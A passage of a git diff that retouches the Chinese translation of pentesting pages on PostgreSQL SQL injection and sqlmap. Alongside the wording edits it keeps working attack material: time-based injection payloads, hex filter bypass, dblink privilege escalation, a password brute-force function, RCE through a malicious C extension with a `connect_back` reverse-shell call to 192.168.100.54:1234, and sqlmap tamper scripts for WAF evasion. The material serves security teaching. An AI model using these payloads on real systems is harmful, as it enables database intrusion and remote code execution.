-**PostgreSQL 模块 `dblink`** 提供了连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能相结合，使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法，请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
+**PostgreSQL 模块 `dblink`** 提供了连接到其他 PostgreSQL 实例和执行 TCP 连接的能力。这些功能与 `COPY FROM` 功能结合，使得权限提升、端口扫描和 NTLM 挑战响应捕获等操作成为可能。有关执行这些攻击的详细方法，请查看如何 [执行这些攻击](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)。
 
 ### **使用 dblink 和大对象的外泄示例**
 
@@ -16,7 +16,7 @@
 
 ## PostgreSQL 攻击：读/写、RCE、权限提升
 
-请查看如何从 PostgreSQL 破坏主机并提升权限：
+查看如何从 PostgreSQL 破坏主机并提升权限：
 
 {{#ref}}
 ../../../network-services-pentesting/pentesting-postgresql.md
@@ -31,7 +31,7 @@
 
 ### 堆叠查询
 
-请记住，PostgreSQL 支持堆叠查询，但如果在期望仅返回 1 个响应时返回 2 个响应，许多应用程序将抛出错误。但是，您仍然可以通过时间注入滥用堆叠查询：
+请记住，PostgreSQL 支持堆叠查询，但如果在期望仅返回 1 个响应时返回 2 个响应，多个应用程序将抛出错误。但是，您仍然可以通过时间注入滥用堆叠查询：
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@@ -50,9 +50,9 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
 ```sql
 SELECT database_to_xml(true,true,'');
 ```
-### Hex中的字符串
+### 字符串以十六进制表示
 
-如果您可以运行**查询**并将其**放在字符串中**（例如使用**`query_to_xml`**函数）。**您可以使用convert_from将字符串作为十六进制传递，从而以这种方式绕过过滤器：**
+如果您可以运行 **查询** 并将其 **放在字符串中**（例如使用 **`query_to_xml`** 函数）。 **您可以使用 convert_from 将字符串作为十六进制传递，从而绕过过滤器：**
 ```sql
 select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
 
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
index 5dbc03504..1f6b8d20a 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
@@ -6,7 +6,7 @@ PostgreSQL 提供了一种称为 **大对象** 的结构，通过 `pg_largeobjec
 
 要在此表中 **存储完整文件**，必须在 `pg_largeobject` 表中创建一个对象（通过 LOID 识别），然后将每个 2KB 大小的数据块插入到该对象中。这些块的大小必须严格为 2KB（最后一个块可能有例外），以确保导出功能正常运行。
 
-要 **将二进制数据** 划分为 2KB 块，可以执行以下命令：
+要 **将二进制数据分割** 成 2KB 块，可以执行以下命令：
 ```bash
 split -b 2048 your_file # Creates 2KB sized files
 ```
@@ -28,7 +28,7 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
 SELECT lo_creat(-1);       -- Creates a new, empty large object
 SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
 ```
-在需要精确控制的情况下，例如利用盲 SQL 注入，`lo_create` 更适合用于指定固定的 LOID。
+在需要精确控制的情况下，例如利用盲注，`lo_create` 更适合用于指定固定的 LOID。
 
 数据块可以如下插入：
 ```sql
@@ -53,13 +53,13 @@ select lo_import('/path/to/file', 173454);
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
 ```
-为了完成这个过程，数据被导出并且大对象被删除：
+要完成该过程，数据被导出并且大对象被删除：
 ```sql
 select lo_export(173454, '/path/to/your_file');
 select lo_unlink(173454);  -- Deletes the specified large object
 ```
 ### 限制
 
-需要注意的是，**大对象可能具有 ACLs**（访问控制列表），可能会限制对即使是由您的用户创建的对象的访问。然而，具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
+需要注意的是，**大对象可能具有 ACLs**（访问控制列表），这可能会限制对即使是由您的用户创建的对象的访问。然而，具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
index d1357446d..d69c9a5d0 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
@@ -12,7 +12,7 @@ CREATE EXTENSION dblink;
 
 ### 权限提升
 
-文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接**，而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`，不当配置的样子如下：
+文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接** 而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到，错误的配置如下：
 ```
 local    all    all    trust
 ```
@@ -21,12 +21,12 @@ _请注意，这种配置通常用于在管理员忘记数据库用户密码时
 
 这种情况是**有用的，如果**您**已经**在受害者的**shell**中，因为它将允许您连接到 postgresql 数据库。
 
-另一个可能的错误配置类似于这样：
+另一个可能的错误配置类似于：
 ```
 host    all     all     127.0.0.1/32    trust
 ```
-因为这将允许来自本地主机的每个人以任何用户身份连接到数据库。\
-在这种情况下，如果 **`dblink`** 函数 **正常工作**，您可以通过通过已建立的连接连接到数据库来 **提升权限**，并访问不应该能够访问的数据：
+因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\
+在这种情况下，如果**`dblink`**函数**正常工作**，您可以通过通过已建立的连接连接到数据库来**提升权限**，并访问不应该能够访问的数据：
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
 user=postgres
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
index 2d7a945cf..e492f0a84 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
@@ -24,13 +24,13 @@ lanname | lanacl
 ---------+-----------------
 plpgsql | {admin=U/admin}
 ```
-请注意，为了使以下脚本正常工作，**需要存在函数 `dblink`**。如果不存在，您可以尝试使用
+请注意，为了使以下脚本正常工作，**需要存在函数 `dblink`**。如果不存在，您可以尝试通过
 ```sql
 CREATE EXTENSION dblink;
 ```
 ## 密码暴力破解
 
-以下是如何执行4个字符密码的暴力破解：
+这里是如何进行4个字符密码的暴力破解：
 ```sql
 //Create the brute-force function
 CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@@ -71,7 +71,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
 ```
 _请注意，即使是暴力破解4个字符也可能需要几分钟。_
 
-您还可以**下载一个密码字典**并仅尝试那些密码（字典攻击）：
+您还可以**下载一个字典**并仅尝试那些密码（字典攻击）：
 ```sql
 //Create the function
 CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
index 1cf638544..791935b00 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@@ -4,7 +4,7 @@
 
 ## PostgreSQL Extensions
 
-PostgreSQL 的核心特性是可扩展性，允许它无缝集成扩展，就像内置功能一样。这些扩展本质上是用 C 编写的库，为数据库提供额外的函数、操作符或类型。
+PostgreSQL 的核心特性是可扩展性，允许它无缝集成扩展，就像它们是内置功能一样。这些扩展，基本上是用 C 编写的库，为数据库提供额外的函数、运算符或类型。
 
 从 8.1 版本开始，对扩展库施加了特定要求：它们必须使用特殊头文件编译。没有这个，PostgreSQL 将不会执行它们，确保只使用兼容且可能安全的扩展。
 
@@ -75,7 +75,7 @@ HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
 ```
 此错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释：
 
-> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入以下内容：
+> 为了确保动态加载的对象文件不会加载到不兼容的服务器中，PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性，例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始，魔法块是必需的。要包含魔法块，请在包含头文件fmgr.h之后，在模块源文件中的一个（且仅一个）位置写入：
 >
 > `#ifdef PG_MODULE_MAGIC`\
 > `PG_MODULE_MAGIC;`\
@@ -254,15 +254,15 @@ PG_RETURN_INT32(arg + 1);
 ```c
 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
 ```
-[PolyUDF项目](https://github.com/rop-la/PolyUDF)也是一个很好的起点，包含完整的MS Visual Studio项目和一个现成的库（包括：_command eval_，_exec_和_cleanup_）以及多版本支持。
+[PolyUDF项目](https://github.com/rop-la/PolyUDF)也是一个很好的起点，提供完整的MS Visual Studio项目和一个现成的库（包括：_command eval_，_exec_和_cleanup_）以及多版本支持。
 
 ### 最新PostgreSQL版本中的RCE
 
-在**最新版本**的PostgreSQL中，施加了限制，`superuser`被**禁止**从特定目录以外**加载**共享库文件，例如Windows上的`C:\Program Files\PostgreSQL\11\lib`或\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
+在**最新版本**的PostgreSQL中，施加了限制，`superuser`被**禁止**从特定目录以外的地方**加载**共享库文件，例如在Windows上的`C:\Program Files\PostgreSQL\11\lib`或在\*nix系统上的`/var/lib/postgresql/11/lib`。这些目录对NETWORK_SERVICE或postgres账户的写操作是**安全的**。
 
-尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
+尽管有这些限制，经过身份验证的数据库`superuser`仍然可以使用“大型对象”**写入二进制文件**到文件系统中。此功能扩展到在`C:\Program Files\PostgreSQL\11\data`目录中写入，这对于更新或创建表等数据库操作至关重要。
 
-一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。此漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
+一个显著的漏洞来自于`CREATE FUNCTION`命令，它**允许目录遍历**到数据目录。因此，经过身份验证的攻击者可以**利用这种遍历**将共享库文件写入数据目录，然后**加载它**。这个漏洞使攻击者能够执行任意代码，实现系统上的本地代码执行。
 
 #### 攻击流程
 
@@ -277,11 +277,11 @@ big-binary-files-upload-postgresql.md
 create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
 select connect_back('192.168.100.54', 1234);
 ```
-_请注意，您不需要附加 `.dll` 扩展名，因为创建函数会自动添加它。_
+_注意，您不需要附加 `.dll` 扩展名，因为创建函数会自动添加它。_
 
-有关更多信息，请**阅读**[**原始出版物**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
-在该出版物中，**这是**[**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
-在同一页面上，**提供了自动化**此技术的**利用**：
+有关更多信息 **请阅读**[ **原始出版物在这里**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
+在该出版物中 **这是** [**用于生成 postgres 扩展的代码**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_要了解如何编译 postgres 扩展，请阅读之前的任何版本_).\
+在同一页面上提供了 **自动化** 此技术的 **利用**：
 ```python
 #!/usr/bin/env python3
 import sys
@@ -319,7 +319,7 @@ print("(+) for a db cleanup only, run the following sql:")
 print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
 print("    drop function connect_back(text, integer);")
 ```
-## 参考文献
+## 参考
 
 - [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
 - [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
index 2e52767e2..a411adee6 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
@@ -12,7 +12,7 @@
 
 SELECT lanname,lanpltrusted,lanacl FROM pg_language;
 ```
-大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**：**受信任的**和**不受信任的**。**不受信任的**语言名称**以 "u" 结尾**，并且是允许你**执行代码**和使用其他有趣功能的版本。如果安装了这些语言，它们会很有趣：
+大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**：**受信任的** 和 **不受信任的**。**不受信任的** 语言名称 **以 "u" 结尾**，并且是允许你 **执行代码** 和使用其他有趣功能的版本。如果安装了这些语言，它们会很有趣：
 
 - **plpythonu**
 - **plpython3u**
@@ -22,7 +22,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
 - ...（任何其他使用不安全版本的编程语言）
 
 > [!WARNING]
-> 如果你发现一个有趣的语言是**已安装**但被 PostgreSQL **标记为不受信任**（**`lanpltrusted`** 为 **`false`**），你可以尝试用以下语句**信任它**，这样 PostgreSQL 就不会施加任何限制：
+> 如果你发现一个有趣的语言是 **已安装** 但被 PostgreSQL **标记为不受信任**（**`lanpltrusted`** 为 **`false`**），你可以尝试用以下语句 **信任它**，这样 PostgreSQL 就不会施加任何限制：
 >
 > ```sql
 > UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
@@ -31,7 +31,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
 > ```
 
 > [!CAUTION]
-> 如果你没有看到某种语言，你可以尝试加载它（**你需要是超级管理员**）：
+> 如果你没有看到某个语言，你可以尝试加载它（**你需要是超级管理员**）：
 >
 > ```
 > CREATE EXTENSION plpythonu;
@@ -41,7 +41,7 @@ SELECT lanname,lanpltrusted,lanacl FROM pg_language;
 > CREATE EXTENSION plrubyu;
 > ```
 
-请注意，可以将安全版本编译为“不安全”。例如，查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此，如果你只发现安装了**受信任的**版本，尝试执行代码总是值得的。
+请注意，可以将安全版本编译为“不安全”。例如，查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此，即使你只发现安装了 **受信任的** 版本，尝试执行代码也是值得的。
 
 ## plpythonu/plpython3u
 
@@ -75,7 +75,7 @@ SELECT get_user(""); #Get user, para is useless
 ```
 {{#endtab}}
 
-{{#tab name="List dir"}}
+{{#tab name="列出目录"}}
 ```sql
 CREATE OR REPLACE FUNCTION lsdir (dir text)
 RETURNS VARCHAR(65535) stable
diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md
index a0ce2f540..3fc2584eb 100644
--- a/src/pentesting-web/sql-injection/sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap.md
@@ -108,7 +108,7 @@ python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
 # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
 sqlmap -r r.txt -p id --not-string ridiculous --batch
 ```
-## 修改
+## 篡改
 ```bash
 --tamper=name_of_the_tamper
 #In kali you can see all the tampers in /usr/share/sqlmap/tamper
@@ -121,13 +121,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | base64encode.py              | 对给定有效负载中的所有字符进行 Base64 编码                                                                                         |
 | between.py                   | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 \('&gt;'\)                                                                                 |
 | bluecoat.py                  | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 =                                                          |
-| chardoubleencode.py          | 对给定有效负载中的所有字符进行双重 URL 编码（不处理已编码的字符）                                                                  |
+| chardoubleencode.py          | 对给定有效负载中的所有字符进行双重 URL 编码 \(不处理已编码的字符\)                                                                  |
 | commalesslimit.py            | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例                                                                                     |
 | commalessmid.py              | 用 'MID\(A FROM B FOR C\)' 替换 'MID\(A, B, C\)' 的实例                                                                            |
 | concat2concatws.py           | 用 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' 替换 'CONCAT\(A, B\)' 的实例                                                        |
-| charencode.py                | 对给定有效负载中的所有字符进行 URL 编码（不处理已编码的字符）                                                                      |
-| charunicodeencode.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。 "%u0022"                                               |
-| charunicodeescape.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。 "\u0022"                                               |
+| charencode.py                | 对给定有效负载中的所有字符进行 URL 编码 \(不处理已编码的字符\)                                                                      |
+| charunicodeencode.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "%u0022"                                               |
+| charunicodeescape.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码 \(不处理已编码的字符\)。 "\u0022"                                               |
 | equaltolike.py               | 用运算符 'LIKE' 替换运算符等于 \('='\) 的所有出现                                                                                   |
 | escapequotes.py              | 斜杠转义引号 \(' 和 "\)                                                                                                            |
 | greatest.py                  | 用 'GREATEST' 对应字符替换大于运算符 \('&gt;'\)                                                                                   |
@@ -135,31 +135,31 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | ifnull2ifisnull.py           | 用 'IF\(ISNULL\(A\), B, A\)' 替换 'IFNULL\(A, B\)' 的实例                                                                          |
 | modsecurityversioned.py      | 用版本化注释包裹完整查询                                                                                                           |
 | modsecurityzeroversioned.py  | 用零版本化注释包裹完整查询                                                                                                         |
-| multiplespaces.py            | 在 SQL 关键字周围添加多个空格                                                                                                       |
-| nonrecursivereplacement.py   | 用适合替换的表示法替换预定义的 SQL 关键字（例如 .replace\("SELECT", ""\) 过滤器）                                                |
+| multiplespaces.py            | 在 SQL 关键字周围添加多个空格                                                                                                     |
+| nonrecursivereplacement.py   | 用适合替换的表示法替换预定义的 SQL 关键字 \(例如 .replace\("SELECT", ""\) 过滤器\)                                                |
 | percentage.py                | 在每个字符前添加百分号 \('%'\)                                                                                                     |
-| overlongutf8.py              | 转换给定有效负载中的所有字符（不处理已编码的字符）                                                                                 |
+| overlongutf8.py              | 转换给定有效负载中的所有字符 \(不处理已编码的字符\)                                                                                |
 | randomcase.py                | 用随机大小写值替换每个关键字字符                                                                                                   |
 | randomcomments.py            | 向 SQL 关键字添加随机注释                                                                                                          |
 | securesphere.py              | 附加特殊构造的字符串                                                                                                               |
 | sp_password.py               | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志                                                                             |
 | space2comment.py             | 用注释替换空格字符 \(' '\)                                                                                                         |
-| space2dash.py                | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟一个随机字符串和换行符 \('\n'\)                                               |
-| space2hash.py                | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟一个随机字符串和换行符 \('\n'\)                                                |
-| space2morehash.py            | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟一个随机字符串和换行符 \('\n'\)                                                |
+| space2dash.py                | 用破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\)                                                       |
+| space2hash.py                | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\)                                                        |
+| space2morehash.py            | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟随机字符串和换行符 \('\n'\)                                                        |
 | space2mssqlblank.py          | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\)                                                                               |
-| space2mssqlhash.py           | 用一个井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟一个换行符 \('\n'\)                                                             |
+| space2mssqlhash.py           | 用井号字符 \('\#'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\)                                                                     |
 | space2mysqlblank.py          | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\)                                                                               |
-| space2mysqldash.py           | 用一个破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟一个换行符 \('\n'\)                                                          |
+| space2mysqldash.py           | 用破折号注释 \('--'\) 替换空格字符 \(' '\)，后跟换行符 \('\n'\)                                                                   |
 | space2plus.py                | 用加号 \('+'\) 替换空格字符 \(' '\)                                                                                                 |
 | space2randomblank.py         | 用有效替代字符集中的随机空白字符替换空格字符 \(' '\)                                                                               |
 | symboliclogical.py           | 用其符号对应物替换 AND 和 OR 逻辑运算符 \(&& 和                                                                                     |
-| unionalltounion.py           | 用 UNION SELECT 替换 UNION ALL SELECT                                                                                               |
-| unmagicquotes.py             | 用多字节组合 %bf%27 替换引号字符 \('\)，并在末尾添加通用注释（以使其工作）                                                        |
+| unionalltounion.py           | 用 UNION SELECT 替换 UNION ALL SELECT                                                                                              |
+| unmagicquotes.py             | 用多字节组合 %bf%27 替换引号字符 \('\)，并在末尾添加通用注释 \(以使其工作\)                                                       |
 | uppercase.py                 | 用大写值 'INSERT' 替换每个关键字字符                                                                                               |
 | varnish.py                   | 附加 HTTP 头 'X-originating-IP'                                                                                                     |
 | versionedkeywords.py         | 用版本化的 MySQL 注释包裹每个非函数关键字                                                                                           |
 | versionedmorekeywords.py     | 用版本化的 MySQL 注释包裹每个关键字                                                                                                 |
-| xforwardedfor.py             | 附加一个假 HTTP 头 'X-Forwarded-For'                                                                                                 |
+| xforwardedfor.py             | 附加假 HTTP 头 'X-Forwarded-For'                                                                                                    |
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md
index efbb148d9..8e50738b1 100644
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@@ -47,7 +47,7 @@
 
 ## 注入位置
 
-### 来自 Burp/ZAP 捕获
+### 从 Burp/ZAP 捕获
 
 捕获请求并创建一个 req.txt 文件
 ```bash
@@ -147,12 +147,12 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | between.py                   | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>')                                                                                     |
 | bluecoat.py                  | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 =                                                        |
 | chardoubleencode.py          | 对给定有效负载中的所有字符进行双重 URL 编码（不处理已编码的字符）                                                                  |
-| commalesslimit.py            | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例                                                                                |
+| commalesslimit.py            | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例                                                                                 |
 | commalessmid.py              | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例                                                                          |
 | concat2concatws.py           | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例                                                          |
 | charencode.py                | 对给定有效负载中的所有字符进行 URL 编码（不处理已编码的字符）                                                                     |
-| charunicodeencode.py         | 对给定有效负载中未编码的字符进行 Unicode-url 编码（不处理已编码的字符）。 "%u0022"                                               |
-| charunicodeescape.py         | 对给定有效负载中未编码的字符进行 Unicode-url 编码（不处理已编码的字符）。 "\u0022"                                               |
+| charunicodeencode.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。"%u0022"                                               |
+| charunicodeescape.py         | 对给定有效负载中未编码的字符进行 Unicode URL 编码（不处理已编码的字符）。"\u0022"                                               |
 | equaltolike.py               | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现                                                                                   |
 | escapequotes.py              | 斜杠转义引号 (' 和 ")                                                                                                            |
 | greatest.py                  | 用 'GREATEST' 对应字符替换大于运算符 ('>')                                                                                        |
@@ -161,7 +161,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | modsecurityversioned.py      | 用版本化注释包裹完整查询                                                                                                          |
 | modsecurityzeroversioned.py  | 用零版本化注释包裹完整查询                                                                                                        |
 | multiplespaces.py            | 在 SQL 关键字周围添加多个空格                                                                                                     |
-| nonrecursivereplacement.py   | 用适合替换的表示法替换预定义的 SQL 关键字（例如 .replace("SELECT", ""）过滤器）                                                  |
+| nonrecursivereplacement.py   | 用适合替换的表示法替换预定义的 SQL 关键字（例如 .replace("SELECT", ""）过滤器                                                  |
 | percentage.py                | 在每个字符前添加百分号 ('%')                                                                                                     |
 | overlongutf8.py              | 转换给定有效负载中的所有字符（不处理已编码的字符）                                                                                |
 | randomcase.py                | 用随机大小写值替换每个关键字字符                                                                                                   |
@@ -169,15 +169,15 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 | securesphere.py              | 附加特殊构造的字符串                                                                                                              |
 | sp_password.py               | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志                                                                            |
 | space2comment.py             | 用注释替换空格字符 (' ')                                                                                                          |
-| space2dash.py                | 用破折号注释 ('--') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n')                                                            |
+| space2dash.py                | 用破折号注释 ('--') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n')                                                           |
 | space2hash.py                | 用井号字符 ('#') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n')                                                              |
 | space2morehash.py            | 用井号字符 ('#') 替换空格字符 (' ')，后跟随机字符串和换行符 ('\n')                                                              |
-| space2mssqlblank.py          | 用有效替代字符集中的随机空白字符替换空格字符 (' ')                                                                                |
+| space2mssqlblank.py          | 用有效的替代字符集中的随机空白字符替换空格字符 (' ')                                                                             |
 | space2mssqlhash.py           | 用井号字符 ('#') 替换空格字符 (' ')，后跟换行符 ('\n')                                                                          |
-| space2mysqlblank.py          | 用有效替代字符集中的随机空白字符替换空格字符 (' ')                                                                                |
+| space2mysqlblank.py          | 用有效的替代字符集中的随机空白字符替换空格字符 (' ')                                                                             |
 | space2mysqldash.py           | 用破折号注释 ('--') 替换空格字符 (' ')，后跟换行符 ('\n')                                                                        |
 | space2plus.py                | 用加号 ('+') 替换空格字符 (' ')                                                                                                   |
-| space2randomblank.py         | 用有效替代字符集中的随机空白字符替换空格字符 (' ')                                                                                |
+| space2randomblank.py         | 用有效的替代字符集中的随机空白字符替换空格字符 (' ')                                                                             |
 | symboliclogical.py           | 用其符号对应物 (&& 和) 替换 AND 和 OR 逻辑运算符                                                                                   |
 | unionalltounion.py           | 用 UNION SELECT 替换 UNION ALL SELECT                                                                                              |
 | unmagicquotes.py             | 用多字节组合 %bf%27 替换引号字符 (')，并在末尾添加通用注释（以使其工作）                                                          |
diff --git a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
index a47002a1a..724796a88 100644
--- a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
@@ -8,7 +8,7 @@
 
 保存 SQL 注入 payload 的请求 **与 sqlmap 中的任何其他注入相同**。可以使用 `--second-url` 或 `--second-req` 指定 **sqlmap 可以读取注入的输出/执行** 的请求，如果您需要从文件中指示完整请求。
 
-**简单的二次注入示例：**
+**简单的二次示例：**
 ```bash
 #Get the SQL payload execution with a GET to a url
 sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@@ -46,16 +46,16 @@ headers = kwargs.get("headers", {})
 login_account(payload)
 return payload
 ```
-一个 **SQLMap tamper 总是在开始注入尝试之前执行，并且必须返回一个有效负载**。在这种情况下，我们不关心有效负载，但我们关心发送一些请求，因此有效负载不会改变。
+一个 **SQLMap tamper 总是在使用有效载荷开始注入尝试之前执行** **并且它必须返回一个有效载荷**。在这种情况下，我们不关心有效载荷，但我们关心发送一些请求，因此有效载荷没有改变。
 
-因此，如果出于某种原因，我们需要一个更复杂的流程来利用二次 SQL 注入，例如：
+因此，如果出于某种原因我们需要一个更复杂的流程来利用二次 SQL 注入，例如：
 
